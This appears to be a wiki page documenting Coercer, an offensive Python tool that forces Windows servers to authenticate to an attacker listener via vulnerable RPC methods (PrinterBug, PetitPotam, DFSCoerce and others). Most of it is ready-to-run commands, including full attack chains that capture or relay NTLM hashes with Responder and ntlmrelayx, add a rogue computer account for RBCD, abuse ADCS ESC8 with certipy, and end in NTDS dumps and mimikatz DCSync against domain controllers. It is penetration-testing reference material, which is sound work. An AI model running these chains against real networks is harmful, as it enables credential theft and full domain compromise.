ᛉ Yggdrasil

Tool references

Coercer Wiki

15 Sep 2026 · 3,504 words · 16 min

Contents

Author: p0dalirius (Rémi GASCOU) Repo: https://github.com/p0dalirius/Coercer Description: Automated NTLM Authentication Coercion via RPC Presented at: BlackHat Europe 2022 — Searching for RPC Functions to Coerce Authentications in Microsoft Protocols

Overview

Coercer is a Python tool that automates NTLM authentication coercion against Windows servers. Instead of manually invoking one-off coercion scripts for each technique (PrinterBug, PetitPotam, DFSCoerce, etc.), Coercer bundles all known vulnerable RPC methods into a single tool with three operating modes: scan, coerce, and fuzz.

What it does:

  • Connects to a Windows target and enumerates open SMB named pipes
  • Iterates through all known vulnerable RPC functions, calling them one by one
  • Supplies attacker-controlled UNC paths as arguments, forcing the target to initiate an outbound NTLM authentication
  • The resulting NTLMv2 hash lands in your listener (Responder / ntlmrelayx)

Key capabilities:

  • Supports 12+ coercion methods across 5 RPC protocols
  • Three modes: scan (assess), coerce (exploit), fuzz (research)
  • Random UNC path generation to avoid server-side caching of failed attempts
  • Configurable delay between attempts for OpSec control
  • Filter by protocol name, method name, or pipe name
  • Exports results in JSON, SQLite, and XLSX
  • Windows binary build support via installer.ps1
  • Shell tab completions via argcomplete

Installation

# Via pip (recommended)
sudo python3 -m pip install coercer

# From source
git clone https://github.com/p0dalirius/Coercer
cd Coercer
pip install .

# Windows binary (run in PowerShell)
# Download installer.ps1 from the repo, then:
.\installer.ps1
# Produces a standalone binary in the working directory

Shell Completions

# Coercer uses argcomplete for tab completions
# After pip install, activate for bash:
activate-global-python-argcomplete

# Or for a single shell session:
eval "$(register-python-argcomplete coercer)"

Authentication Methods

Coercer requires valid credentials to authenticate to the target before calling the vulnerable RPC functions.

Password (NTLM)

coercer <mode> -u USERNAME -p PASSWORD -d DOMAIN --target TARGET_IP --listener-ip ATTACKER_IP

Pass-the-Hash

coercer <mode> -u USERNAME --hashes LMHASH:NTHASH -d DOMAIN --target TARGET_IP --listener-ip ATTACKER_IP
# or NT-only:
coercer <mode> -u USERNAME --hashes :NTHASH -d DOMAIN --target TARGET_IP --listener-ip ATTACKER_IP

Kerberos (ccache)

export KRB5CCNAME=/path/to/ticket.ccache
coercer <mode> -u USERNAME -d DOMAIN -k --target TARGET_FQDN --listener-ip ATTACKER_IP

No Password (null/anonymous)

coercer scan --target TARGET_IP --listener-ip ATTACKER_IP --no-pass

Global Arguments

coercer [-h] [-v] [-u USERNAME] [-p PASSWORD] [-d DOMAIN]
        [--hashes [LMHASH]:NTHASH] [--no-pass] [-k]
        [--dc-ip DC_IP] [--target TARGET | --targets-file FILE]
        [--listener-ip IP | --listener-interface IFACE]
        [--target-ip TARGET_IP] [--delay SECONDS]
        [--filter-method-name NAME] [--filter-protocol-name NAME]
        [--filter-pipe-name NAME]
        {scan,coerce,fuzz}
Flag Description
-u USERNAME Username to authenticate to the target
-p PASSWORD Password to authenticate (prompted if omitted without --no-pass)
-d DOMAIN Windows domain name
--hashes LM:NT NTLM hash (LM can be empty: :NTHASH)
--no-pass Skip password prompt (use with -k for Kerberos)
-k Use Kerberos authentication
--dc-ip IP IP address of the Domain Controller (for Kerberos SPN resolution)
--target IP/FQDN Single target to coerce
--targets-file FILE File containing one target per line
--listener-ip IP Attacker IP for incoming authentications (scan/fuzz/coerce)
--listener-interface IFACE Network interface to listen on instead of an IP
--target-ip IP IP of the target when --target is a hostname that won't resolve
--delay SECONDS Wait N seconds between each coercion attempt (OpSec control)
-v Verbose output

Operating Modes

Coercer has three distinct modes, each designed for a different purpose.

Scan Mode

Purpose: Assess which RPC methods are reachable/exploitable on a target without actively triggering all of them. Use this first to understand the attack surface before committing to a full coerce run.

coercer scan -u USERNAME -p PASSWORD -d DOMAIN \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP

What it does:

  • Lists all open SMB named pipes on the target (when authenticated)
  • Tries to connect to a list of known vulnerable pipes (when unauthenticated or in probe mode)
  • Reports which pipes are reachable and which RPC methods are callable
  • Starts a listener on --listener-ip to detect incoming authentications
  • Exports results to JSON/SQLite/XLSX for review before exploitation

Scan unauthenticated (pipe probe only):

coercer scan --target TARGET_IP --listener-ip ATTACKER_IP --no-pass

Scan with specific filter:

# Only test methods from the MS-EFSR protocol
coercer scan -u user -p pass -d domain --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-EFSR

Export results:

# Export to JSON
coercer scan -u user -p pass -d domain --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --export-json scan_results.json

# Export to SQLite
coercer scan -u user -p pass -d domain --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --export-sqlite scan_results.db

# Export to XLSX
coercer scan -u user -p pass -d domain --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --export-xlsx scan_results.xlsx

Coerce Mode

Purpose: Exploit. Actively calls all reachable vulnerable RPC functions to force the target to authenticate to your listener. Pair with Responder or ntlmrelayx.

coercer coerce -u USERNAME -p PASSWORD -d DOMAIN \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP

What it does:

  • Connects to the target using the supplied credentials
  • Calls each vulnerable RPC function one by one
  • Injects UNC paths pointing to --listener-ip as the function arguments
  • The target reaches out → NTLMv2 hash captured by your listener
  • Random path generation per attempt prevents server-side auth caching

Coerce against a target file (multiple hosts):

coercer coerce -u user -p pass -d domain \
  --targets-file targets.txt \
  --listener-ip ATTACKER_IP

Coerce with PTH:

coercer coerce -u Administrator --hashes :NTHASH -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP

Coerce with delay (OpSec):

coercer coerce -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --delay 2

Coerce with Kerberos:

export KRB5CCNAME=/tmp/user.ccache
coercer coerce -u user -d domain -k --dc-ip DC_IP \
  --target DC_FQDN \
  --listener-ip ATTACKER_IP

Filter to one specific method:

# Only trigger PrinterBug (MS-RPRN)
coercer coerce -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-RPRN

# Only trigger PetitPotam's EfsRpcOpenFileRaw
coercer coerce -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --filter-method-name EfsRpcOpenFileRaw

Fuzz Mode

Purpose: Research. Fuzzes the target's RPC endpoints with various UNC path patterns to discover new coercion primitives. Use when you're hunting for undiscovered methods, not for standard engagements.

coercer fuzz -u USERNAME -p PASSWORD -d DOMAIN \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP

What it does:

  • Probes known SMB pipes and attempts to connect to them
  • Tests all known RPC paths with varying UNC formats against each endpoint
  • Captures any outbound authentication triggered by unexpected methods
  • More exhaustive than coerce mode — slower, noisier, but catches edge cases

Fuzz unauthenticated:

coercer fuzz --target TARGET_IP --listener-ip ATTACKER_IP --no-pass

Fuzz a specific pipe:

coercer fuzz -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --filter-pipe-name spoolss

Coercion Methods / RPC Protocols

Coercer bundles multiple known coercion techniques, each tied to a specific Microsoft RPC protocol. Below is a breakdown of each.

MS-RPRN — PrinterBug

Detail Value
Protocol MS-RPRN (Print System Remote Protocol)
Named Pipe \pipe\spoolss
RPC UUID 12345678-1234-ABCD-EF00-0123456789AB
Discovered by @tifkin_ and @elad_shamir
Auth required Yes (any domain user)

What it does: Calls RpcRemoteFindFirstPrinterChangeNotificationEx() with a UNC path to the attacker's IP. The Print Spooler service on the target reaches out and authenticates, sending its machine account NTLMv2 hash.

Prerequisites:

  • Print Spooler service must be running (spooler service)
  • Attacker must have valid domain credentials
  • Check with: nxc smb <target> -u user -p pass -M spooler

Methods implemented:

Function Opnum
RpcRemoteFindFirstPrinterChangeNotificationEx 65
RpcOpenPrinter 1

MS-RPRN coerce example:

coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-RPRN

Note: Microsoft patched the unauthenticated variant (CVE-2021-1678 area). Domain credentials are now required. The service can be disabled as a mitigation.

MS-EFSR — PetitPotam

Detail Value
Protocol MS-EFSR (Encrypting File System Remote Protocol)
Named Pipe \pipe\lsarpc, \pipe\efsrpc, \pipe\samr, \pipe\netlogon, \pipe\lsass
RPC UUID c681d488-d850-11d0-8c52-00c04fd90f7e
Discovered by @topotam77
Auth required Depends on patch level (post-patch: yes; pre-patch: no)

What it does: Calls EFS RPC functions with UNC paths. Because EFS will try to access the file path as the machine account, it triggers outbound NTLM authentication to the attacker's listener.

Implemented methods:

Method Opnum Vulnerable Parameter
EfsRpcOpenFileRaw 0 FileName
EfsRpcEncryptFileSrv 4 FileName
EfsRpcDecryptFileSrv 5 FileName
EfsRpcQueryUsersOnFile 6 FileName
EfsRpcQueryRecoveryAgents 7 FileName
EfsRpcRemoveUsersFromFile 8 FileName
EfsRpcAddUsersToFile 9 FileName
EfsRpcFileKeyInfo 12 FileName
EfsRpcDuplicateEncryptionInfoFile 13 SrcFileName
EfsRpcAddUsersToFileEx 15 FileName

MS-EFSR coerce example:

# All PetitPotam methods
coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-EFSR

# One specific method
coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --filter-method-name EfsRpcOpenFileRaw

Patching: Microsoft released mitigations (KB5005413 / August 2021 patch). Post-patch, credentials are required. The fix restricts unauthenticated access on \pipe\lsarpc but most methods remain callable with valid domain credentials.

MS-DFSNM — DFSCoerce

Detail Value
Protocol MS-DFSNM (Distributed File System Namespace Management Protocol)
Named Pipe \pipe\netdfs
RPC UUID 4fc742e0-4a10-11cf-8273-00aa004ae673
Discovered by @filip_dragovic
Auth required Yes (any domain user)

What it does: Abuses the NetrDfsAddStdRoot() or NetrDfsRemoveStdRoot() DFS management calls, passing the attacker's UNC as a target root. The DFS service on the target authenticates to the attacker-controlled path.

Methods implemented:

Method Notes
NetrDfsAddStdRoot Create DFS root pointing to attacker
NetrDfsRemoveStdRoot Remove DFS root (also triggers auth)

MS-DFSNM coerce example:

coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-DFSNM

Why it matters: Works even when Print Spooler is disabled and EFS is patched. More reliable on hardened Server 2019+ environments.

MS-FSRVP — ShadowCoerce

Detail Value
Protocol MS-FSRVP (File Server Remote VSS Protocol)
Named Pipe \pipe\FssagentRpc
RPC UUID a8e0653c-2744-4389-a61d-7373df8b2292
Discovered by @topotam77 (found), @_nwodtuhs (implemented)
Auth required Yes (any domain user)

What it does: Calls IsPathSupported() or IsPathShadowCopied() with a UNC path to the attacker. The VSS (Volume Shadow Copy) infrastructure triggers machine-account auth to the supplied path.

Methods implemented:

Method Notes
IsPathSupported Checks if a path supports shadow copies
IsPathShadowCopied Checks if a path has shadow copies

MS-FSRVP coerce example:

coercer coerce -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-FSRVP

Prerequisite: The FssagentRpc service must be running (File Server VSS Agent Service). Rare on workstations, more common on file servers.

MS-EVEN — CheeseOunce

Detail Value
Protocol MS-EVEN (EventLog Remoting Protocol)
Named Pipe \pipe\eventlog
Discovered by @evilashz
Auth required Yes (any domain user)

What it does: Abuses the ElfrOpenBELW() function of the EventLog RPC interface, supplying a UNC backup path to the attacker. The EventLog service on the target authenticates to retrieve/write event log backups.

MS-EVEN coerce example:

coercer coerce -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-EVEN

Filtering Options

All three modes support the same set of filters to narrow which methods are called.

# Filter by protocol (MS-RPRN, MS-EFSR, MS-DFSNM, MS-FSRVP, MS-EVEN)
--filter-protocol-name MS-EFSR

# Filter by exact method name
--filter-method-name EfsRpcOpenFileRaw

# Filter by SMB named pipe
--filter-pipe-name spoolss
--filter-pipe-name lsarpc
--filter-pipe-name efsrpc
--filter-pipe-name netdfs
--filter-pipe-name FssagentRpc
--filter-pipe-name eventlog

Filter examples:

# Test only PetitPotam methods via lsarpc pipe
coercer coerce -u user -p pass -d domain \
  --target DC_IP --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-EFSR \
  --filter-pipe-name lsarpc

# Test only PrinterBug
coercer coerce -u user -p pass -d domain \
  --target DC_IP --listener-ip ATTACKER_IP \
  --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx

Output & Exporting

Scan and fuzz modes produce structured output that can be exported for offline review or reporting.

# JSON export
--export-json results.json

# SQLite export
--export-sqlite results.db

# XLSX export
--export-xlsx results.xlsx

Full scan + export example:

coercer scan -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --export-json dc_coerce_scan.json \
  --export-xlsx dc_coerce_scan.xlsx

The JSON output shows:

  • Which pipes were reachable
  • Which methods were called
  • Whether any authentication was triggered on the listener
  • Method, protocol, and pipe name for each attempt

Common Attack Workflows

Workflow: Capture NTLMv2 Hash → Crack

The simplest use case: capture a machine account's hash and crack it offline.

# Step 1: Start Responder on your attacker interface
sudo responder -I eth0 -v

# Step 2: Coerce the target against your Responder listener
coercer coerce -u lowpriv_user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP

# Step 3: Responder captures the NTLMv2 hash
# Step 4: Crack with hashcat
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt

Workflow: Coerce → NTLM Relay → Compromise

Don't bother cracking — relay the hash directly. The most powerful use case.

Relay to SMB (if SMB signing not required):

# Step 1: Find hosts without SMB signing
nxc smb 192.168.1.0/24 -u user -p pass --gen-relay-list relay_targets.txt

# Step 2: Start ntlmrelayx targeting those hosts
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Step 3: Coerce the DC to authenticate to ntlmrelayx
coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip NTLMRELAYX_IP

# Result: machine account relayed → SAM dump on relay targets

Relay to LDAP (add a computer account for RBCD abuse):

# Step 1: Check LDAP signing
nxc ldap DC_IP -u user -p pass -M ldap-checker

# Step 2: If signing not enforced, relay to LDAP
ntlmrelayx.py -t ldap://DC_IP --add-computer EVILPC Password123! --delegate-access

# Step 3: Coerce a higher-priv machine to authenticate
coercer coerce -u user -p pass -d domain \
  --target TARGET_IP \
  --listener-ip NTLMRELAYX_IP

# Result: computer account added + RBCD set → impersonate DA via S4U2Proxy

Relay to ADCS (ESC8 — relay to HTTP enrollment endpoint):

# Step 1: Identify CA with HTTP enrollment endpoint
nxc ldap DC_IP -u user -p pass -M adcs

# Step 2: Start ntlmrelayx targeting the CA's certfnsh.asp
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp --adcs --template DomainController

# Step 3: Coerce the DC to authenticate to ntlmrelayx
coercer coerce -u user -p pass -d domain \
  --target DC_FQDN \
  --listener-ip NTLMRELAYX_IP

# Result: DC certificate issued → certipy auth → DC$ NT hash → DCSync
certipy auth -pfx dc.pfx -dc-ip DC_IP
nxc smb DC_IP -u 'DC$' -H <DC_HASH> --ntds

Workflow: Unconstrained Delegation Abuse

Combine Coercer with a foothold on an unconstrained delegation host to capture a DA TGT.

# Step 1: Find unconstrained delegation hosts
nxc ldap DC_IP -u user -p pass -M unconstrained-delegation

# Step 2: On the delegation host, start Rubeus in monitor mode
Rubeus.exe monitor /interval:5 /nowrap

# Step 3: Coerce the DC to authenticate to the delegation host
coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip DELEGATION_HOST_IP

# Step 4: Rubeus captures the DC$ TGT
# Step 5: Use the TGT for DCSync
Rubeus.exe ptt /ticket:<base64_ticket>
mimikatz # lsadump::dcsync /domain:domain /user:Administrator

Workflow: Scan Before Coerce

Always scan first on real engagements to avoid unnecessary noise.

# Step 1: Scan the DC to see what's reachable
coercer scan -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --export-json scan_results.json

# Step 2: Review the JSON to see which protocols/methods are reachable

# Step 3: Coerce only the confirmed-reachable methods
coercer coerce -u user -p pass -d domain \
  --target DC_IP \
  --listener-ip ATTACKER_IP \
  --filter-protocol-name MS-DFSNM  # only the one that worked in scan

Cheatsheet

Auth Skeletons

# Password
coercer <mode> -u user -p 'Password123' -d domain --target TARGET_IP --listener-ip ATTACKER_IP

# PTH
coercer <mode> -u user --hashes :NTHASH -d domain --target TARGET_IP --listener-ip ATTACKER_IP

# Kerberos (ccache)
export KRB5CCNAME=/tmp/user.ccache
coercer <mode> -u user -d domain -k --dc-ip DC_IP --target DC_FQDN --listener-ip ATTACKER_IP

# No credentials (unauthenticated scan probe)
coercer scan --target TARGET_IP --listener-ip ATTACKER_IP --no-pass

Mode Quick Reference

# Assess what's reachable (scan first)
coercer scan -u user -p pass -d domain --target DC_IP --listener-ip ATTACKER_IP

# Exploit — trigger all methods
coercer coerce -u user -p pass -d domain --target DC_IP --listener-ip ATTACKER_IP

# Research — fuzz for new methods
coercer fuzz -u user -p pass -d domain --target DC_IP --listener-ip ATTACKER_IP

Protocol Filter Reference

# PrinterBug only
--filter-protocol-name MS-RPRN

# PetitPotam only
--filter-protocol-name MS-EFSR

# DFSCoerce only
--filter-protocol-name MS-DFSNM

# ShadowCoerce only
--filter-protocol-name MS-FSRVP

# CheeseOunce only
--filter-protocol-name MS-EVEN

Method Filter Reference (PetitPotam / MS-EFSR)

--filter-method-name EfsRpcOpenFileRaw           # most reliable, try first
--filter-method-name EfsRpcEncryptFileSrv
--filter-method-name EfsRpcDecryptFileSrv
--filter-method-name EfsRpcQueryUsersOnFile
--filter-method-name EfsRpcQueryRecoveryAgents
--filter-method-name EfsRpcRemoveUsersFromFile
--filter-method-name EfsRpcAddUsersToFile
--filter-method-name EfsRpcFileKeyInfo
--filter-method-name EfsRpcDuplicateEncryptionInfoFile
--filter-method-name EfsRpcAddUsersToFileEx

Protocol Availability at a Glance

Protocol Named Pipe Requires Service Patch Status
MS-RPRN \pipe\spoolss Print Spooler Credentials required post-2021
MS-EFSR \pipe\lsarpc, \pipe\efsrpc, \pipe\samr, etc. EFS (LSASS) Credentials required post-2021
MS-DFSNM \pipe\netdfs DFS No patch; requires credentials
MS-FSRVP \pipe\FssagentRpc VSS Agent No patch; requires credentials
MS-EVEN \pipe\eventlog EventLog No patch; requires credentials

Pre-Attack Checklist

# 1. Check if Print Spooler is running (for MS-RPRN)
nxc smb TARGET_IP -u user -p pass -M spooler

# 2. Check WebDAV client (for WebDAV coercion variants)
nxc smb TARGET_IP -u user -p pass -M webdav

# 3. Check SMB signing (for relay feasibility)
nxc smb 192.168.1.0/24 -u user -p pass --gen-relay-list relay.txt

# 4. Check LDAP signing (for LDAP relay feasibility)
nxc ldap DC_IP -u user -p pass -M ldap-checker

# 5. Run Coercer scan to confirm what's callable
coercer scan -u user -p pass -d domain \
  --target DC_IP --listener-ip ATTACKER_IP \
  --export-json scan_results.json

What to Do with the Captured Hash

# Option 1: Crack it
hashcat -m 5600 ntlmv2_hash.txt /usr/share/wordlists/rockyou.txt

# Option 2: Relay to SMB (requires no signing on target)
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Option 3: Relay to LDAP (add computer / RBCD)
ntlmrelayx.py -t ldap://DC_IP --add-computer EVILPC 'Pass123!' --delegate-access

# Option 4: Relay to ADCS HTTP (ESC8 → certificate → hash via PKINIT)
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp --adcs --template DomainController
certipy auth -pfx dc.pfx -dc-ip DC_IP

References

  • GitHub: https://github.com/p0dalirius/Coercer
  • BlackHat EU 2022 Talk: Searching for RPC Functions to Coerce Authentications in Microsoft Protocols
  • Scan mode docs: https://github.com/p0dalirius/Coercer/blob/master/documentation/Scan-mode.md
  • Coerce mode docs: https://github.com/p0dalirius/Coercer/blob/master/documentation/Coerce-mode.md
  • Fuzz mode docs: https://github.com/p0dalirius/Coercer/blob/master/documentation/Fuzz-mode.md
  • PrinterBug (MS-RPRN): @tifkin_, @elad_shamir
  • PetitPotam (MS-EFSR): @topotam77
  • DFSCoerce (MS-DFSNM): @filip_dragovic
  • ShadowCoerce (MS-FSRVP): @topotam77 (found), @_nwodtuhs (implemented)
  • CheeseOunce (MS-EVEN): @evilashz

Complementary Tools

Tool Role
Responder Captures NTLM hashes from incoming coerced auths
ntlmrelayx.py (Impacket) Relays coerced auth to SMB/LDAP/HTTP targets
Certipy ADCS exploitation after ESC8 relay chain
NetExec coerce_plus module Alternative to Coercer, native within nxc
Rubeus monitor TGT capture on unconstrained delegation hosts
bloodyAD LDAP writes after successful relay (RBCD, DCSync grant)

This wiki was compiled from the official Coercer GitHub repository (p0dalirius/Coercer) and the BlackHat EU 2022 research by Rémi GASCOU (@podalirius_). Coercer is under active development — always cross-check against coercer --help and the repo's documentation folder for the latest flag and method set.

← Tool references top ↑